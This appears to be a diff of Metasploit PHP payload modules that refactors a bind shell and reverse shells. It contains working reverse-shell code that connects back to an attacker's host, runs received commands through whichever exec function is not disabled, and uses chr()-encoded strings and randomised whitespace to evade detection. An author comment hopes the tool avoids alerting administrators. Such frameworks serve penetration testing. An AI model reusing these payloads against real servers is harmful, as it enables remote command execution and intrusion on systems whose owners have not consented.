#{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})}
|
||||
socket_write($msgsock,$o,strlen($o));
|
||||
}
|
||||
socket_close($msgsock);
|
||||
END_OF_PHP_CODE
|
||||
|
||||
return shell
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
|
@ -82,7 +87,6 @@ module BindPhp
|
|||
return super + php_bind_shell
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end end end end
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
##
|
||||
# $Id:$
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
|
@ -11,6 +11,7 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/php'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
|
@ -22,6 +23,7 @@ module Php
|
|||
module ReversePerl
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Php
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -47,7 +49,11 @@ module ReversePerl
|
|||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'))"
|
||||
buf = "#{php_preamble}"
|
||||
buf += "$c = base64_decode('#{Rex::Text.encode_base64(command_string)}');"
|
||||
buf += "#{php_system_block({:cmd_varname=>"$c"})}"
|
||||
return super + buf
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -11,6 +11,7 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/php'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
|
@ -22,6 +23,7 @@ module Php
|
|||
module ReversePhp
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Php
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -43,20 +45,6 @@ module ReversePhp
|
|||
))
|
||||
end
|
||||
|
||||
#
|
||||
# PHP Reverse Shell completely without quotes. Strings and regexes
|
||||
# are replaced with chr() equivalents and the IP address to connect to is
|
||||
# replaced with integer equivalent wrapped in long2ip().
|
||||
#
|
||||
# Attempts to make a connection back to the attacker using fsockopen or
|
||||
# socket_create and associated functions. Then attempts to execute a
|
||||
# system command with the following functions, in order:
|
||||
# - shell_exec
|
||||
# - passthru
|
||||
# - system
|
||||
# - exec
|
||||
# - proc_open
|
||||
# - popen
|
||||
#
|
||||
# Issues
|
||||
# - Since each command is executed in a new shell, 'cd' does nothing.
|
||||
|
@ -64,7 +52,9 @@ module ReversePhp
|
|||
# - Tries to get around disable_functions but makes no attempts to
|
||||
# circumvent safe mode.
|
||||
# - Should this add '2>&1' to the end of the executed command to avoid
|
||||
# logging suspicious error messages?
|
||||
# logging suspicious error messages? I'm afraid this will break
|
||||
# the payload, especially on Windows, but I also don't like my tools
|
||||
# ratting on me to the administrator.
|
||||
#
|
||||
def php_reverse_shell
|
||||
|
||||
|
@ -76,113 +66,48 @@ module ReversePhp
|
|||
ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first
|
||||
port = datastore['LPORT']
|
||||
end
|
||||
exec_funcname = Rex::Text.rand_text_alpha(5)
|
||||
|
||||
#
|
||||
# The regex looks like this unobfuscated:
|
||||
# preg_replace('/[, ]+/', ',', $disabled);
|
||||
#
|
||||
shell=<<-END_OF_PHP_CODE
|
||||
$ipaddr=long2ip(#{ipaddr});
|
||||
$port=#{port};
|
||||
$_=chr(95);$a=chr(97);$b=chr(98);$c=chr(99);$d=chr(100);$e=chr(101);
|
||||
$f=chr(102);$h=chr(104);$i=chr(105);$k=chr(107);$l=chr(108);$m=chr(109);
|
||||
$n=chr(110);$o=chr(111);$p=chr(112);$r=chr(114);$s=chr(115);$t=chr(116);
|
||||
$u=chr(117);$x=chr(120);$y=chr(121);
|
||||
$disabled=@ini_get($d.$i.$s.$a.$b.$l.$e.$_.$f.$u.$n.$c.$t.$i.$o.$n.$s);
|
||||
if(!empty($disabled)){
|
||||
$disabled=preg_replace(chr(47).chr(91).chr(44).chr(32).chr(93).chr(43).chr(47),chr(44),$disabled);
|
||||
$disabled=explode(chr(44),$disabled);
|
||||
$disabled=array_map($t.$r.$i.$m,$disabled);
|
||||
}else{
|
||||
$disabled=array();
|
||||
}
|
||||
@set_time_limit(0);
|
||||
@ignore_user_abort(1);
|
||||
@ini_set($m.$a.$x.$_.$e.$x.$e.$c.$u.$t.$i.$o.$n.$_.$t.$i.$m.$e,0);
|
||||
function myexec($cmd){
|
||||
global$disabled,$_,$a,$c,$e,$h,$m,$n,$o,$p,$r,$s,$t,$u,$x,$y;
|
||||
if(is_callable($s.$h.$e.$l.$l.$_.$e.$x.$e.$c)and!in_array($s.$h.$e.$l.$l.$_.$e.$x.$e.$c,$disabled)){
|
||||
$output=shell_exec($cmd);
|
||||
return$output;
|
||||
}elseif(is_callable($p.$a.$s.$s.$t.$h.$r.$u)and!in_array($p.$a.$s.$s.$t.$h.$r.$u,$disabled)){
|
||||
ob_start();
|
||||
passthru($cmd);
|
||||
$output=ob_get_contents();
|
||||
ob_end_clean();
|
||||
return$output;
|
||||
}elseif(is_callable($s.$y.$s.$t.$e.$m)and!in_array($s.$y.$s.$t.$e.$m,$disabled)){
|
||||
ob_start();
|
||||
system($cmd);
|
||||
$output=ob_get_contents();
|
||||
ob_end_clean();
|
||||
return$output;
|
||||
}elseif(is_callable($e.$x.$e.$c)and!in_array($e.$x.$e.$c,$disabled)){
|
||||
$output=array();
|
||||
exec($cmd,$output);
|
||||
$output=join(chr(10),$output).chr(10);
|
||||
return$output;
|
||||
}elseif(is_callable($p.$r.$o.$c.$_.$o.$p.$e.$n)and!in_array($p.$r.$o.$c.$_.$o.$p.$e.$n,$disabled)){
|
||||
$handle=proc_open($cmd,array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes);
|
||||
$output=NULL;
|
||||
while(!feof($pipes[1])){
|
||||
$output.=fread($pipes[1],1024);
|
||||
}
|
||||
@proc_close($handle);
|
||||
return$output;
|
||||
}elseif(is_callable($p.$o.$p.$e.$n)and!in_array($p.$o.$p.$e.$n,$disabled)){
|
||||
$fp=popen($cmd,r);
|
||||
$output=NULL;
|
||||
if(is_resource($fp)){
|
||||
while(!feof($fp)){
|
||||
$output.=fread($fp,1024);
|
||||
}
|
||||
}
|
||||
@pclose($fp);
|
||||
return$output;
|
||||
}else{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
$command=NULL;
|
||||
$nofuncs=$n.$o.chr(32).$e.$x.$e.$c.chr(32).$f.$u.$n.$c.$t.$i.$o.$n.$s.chr(32).chr(61).chr(40);
|
||||
if(is_callable($f.$s.$o.$c.$k.$o.$p.$e.$n)and!in_array($f.$s.$o.$c.$k.$o.$p.$e.$n,$disabled)){
|
||||
$sock=fsockopen($ipaddr,$port);
|
||||
while($cmd=fread($sock,2048)){
|
||||
$output=myexec(substr($cmd,0,-1));
|
||||
if($output===false){
|
||||
fwrite($sock,$nofuncs);
|
||||
#{php_preamble({:disabled_varname => "$dis"})}
|
||||
|
||||
if(!function_exists('myexec')){function myexec($c){
|
||||
global$dis;
|
||||
#{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})}
|
||||
return$o;
|
||||
}}
|
||||
$nofuncs='no exec functions';
|
||||
if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
|
||||
$s=fsockopen($ipaddr,$port);
|
||||
while($c=fread($s,2048)){
|
||||
$out=myexec(substr($c,0,-1));
|
||||
if($out===false){
|
||||
fwrite($s,$nofuncs);
|
||||
break;
|
||||
}
|
||||
fwrite($sock,$output);
|
||||
fwrite($s,$out);
|
||||
}
|
||||
fclose($sock);
|
||||
fclose($s);
|
||||
}else{
|
||||
$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
|
||||
socket_connect($sock,$ipaddr,$port);
|
||||
while($cmd=socket_read($sock,2048)){
|
||||
$output=myexec(substr($cmd,0,-1));
|
||||
if($output===false){
|
||||
socket_write($sock,$nofuncs);
|
||||
$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
|
||||
socket_connect($s,$ipaddr,$port);
|
||||
socket_write($s,"socket_create");
|
||||
while($c=socket_read($s,2048)){
|
||||
$out=myexec(substr($c,0,-1));
|
||||
if($out===false){
|
||||
socket_write($s,$nofuncs);
|
||||
break;
|
||||
}
|
||||
socket_write($sock,$output,strlen($output));
|
||||
socket_write($s,$out,strlen($out));
|
||||
}
|
||||
socket_close($sock);
|
||||
socket_close($s);
|
||||
}
|
||||
END_OF_PHP_CODE
|
||||
|
||||
# randomize the spaces a bit
|
||||
shell.gsub!(/\s+/) { |s|
|
||||
len = rand(5)+2
|
||||
set = "\x09\x20\x0a"
|
||||
buf = ''
|
||||
|
||||
while (buf.length < len)
|
||||
buf << set[rand(set.length)].chr
|
||||
end
|
||||
|
||||
buf
|
||||
}
|
||||
Rex::Text.randomize_space(shell)
|
||||
|
||||
return shell
|
||||
end
|
||||
|
@ -194,7 +119,6 @@ module ReversePhp
|
|||
return super + php_reverse_shell
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end end end end
|
||||
|
|
Loading…
Reference in New Issue